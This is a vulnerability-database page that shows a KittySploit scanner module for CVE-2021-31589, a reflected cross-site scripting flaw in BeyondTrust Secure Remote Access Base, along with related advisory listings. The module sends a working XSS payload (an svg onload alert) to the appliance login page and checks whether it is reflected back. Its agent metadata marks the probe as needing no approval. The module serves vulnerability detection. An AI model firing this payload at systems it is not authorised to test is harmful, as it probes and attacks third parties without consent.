BeyondTrust Secure Remote Access Base <=6.0.1 - Cross-Site Scripting Detection
| Reporter | Title | Published | Views | Family All 19 |
|---|---|---|---|---|
| BeyondTrust Remote Support 6.0 Cross Site Scripting Vulnerability | 3 Jan 202200:00 | – | zdt | |
| CVE-2021-31589 | 5 Jan 202212:15 | – | attackerkb | |
| CVE-2021-31589 | 5 Jan 202214:40 | – | circl | |
| BeyondTrust Remote Support 跨站脚本漏洞 | 3 Jan 202200:00 | – | cnnvd | |
| BeyondTrust Remote Support Cross-Site Request Forgery Vulnerability | 5 Jan 202200:00 | – | cnvd | |
| BeyondTrust Secure Remote Access Base Software Cross Site Scripting (CVE-2021-31589) | 7 Mar 202200:00 | – | checkpoint_advisories | |
| CVE-2021-31589 | 5 Jan 202211:26 | – | cve | |
| CVE-2021-31589 | 5 Jan 202211:26 | – | cvelist | |
| Oneliner-Bugbounty | 11 Oct 202617:18 | – | kitploit | |
| CVE-2021-31589 | 15 Oct 202615:38 | – | kitploit |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""BeyondTrust Secure Remote Access Base through 6."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'BeyondTrust Secure Remote Access Base <=6.0.1 - Cross-Site Scripting Detection',
'description': 'BeyondTrust Secure Remote Access Base through 6.0.1 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML.',
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'cve2021', 'xss', 'packetstorm', 'beyondtrust', 'bomgar', 'vkev', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://packetstormsecurity.com/files/165408',
'https://cxsecurity.com/issue/WLB-2022010013',
'https://beyondtrustcorp.service-now.com/csm?sys_kb_id=922d0ab31bc1b490e73854ae034bcb7b&id=kb_article_view&sysparm_rank=1&sysparm_tsqueryId=64fc14ffdb8f70d422725385ca9619cb',
'https://www.beyondtrust.com/docs/release-notes/index.htm',
'https://nvd.nist.gov/vuln/detail/CVE-2021-31589',
],
'cve': 'CVE-2021-31589',
}
def run(self):
r = self.http_request(method="GET", path='/appliance/login.ns?login%5Bpassword%5D=test%22%3E%3Csvg/onload=alert(document.domain)%3E&login%5Buse_curr%5D=1&login%5Bsubmit%5D=Change%20Password', allow_redirects=False)
if not r or r.status_code != 200:
return False
body = (r.text or "").lower()
body_all = ('<svg/onload=alert(document.domain)>', 'bomgar',)
if (all(m in body for m in body_all)):
self.set_info(
severity='medium',
reason="BeyondTrust Secure Remote Access Base <=6.0.1 - Cross-Site Scripting detected",
path='/appliance/login.ns?login%5Bpassword%5D=test%22%3E%3Csvg/onload=alert(document.domain)%3E&login%5Buse_curr%5D=1&login%5Bsubmit%5D=Change%20Password',
)
return True
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Jul 2026 11:27Current
6.3Medium risk
Vulners AI Score6.3
CVSS 24.3
CVSS 3.16.1
EPSS0.25133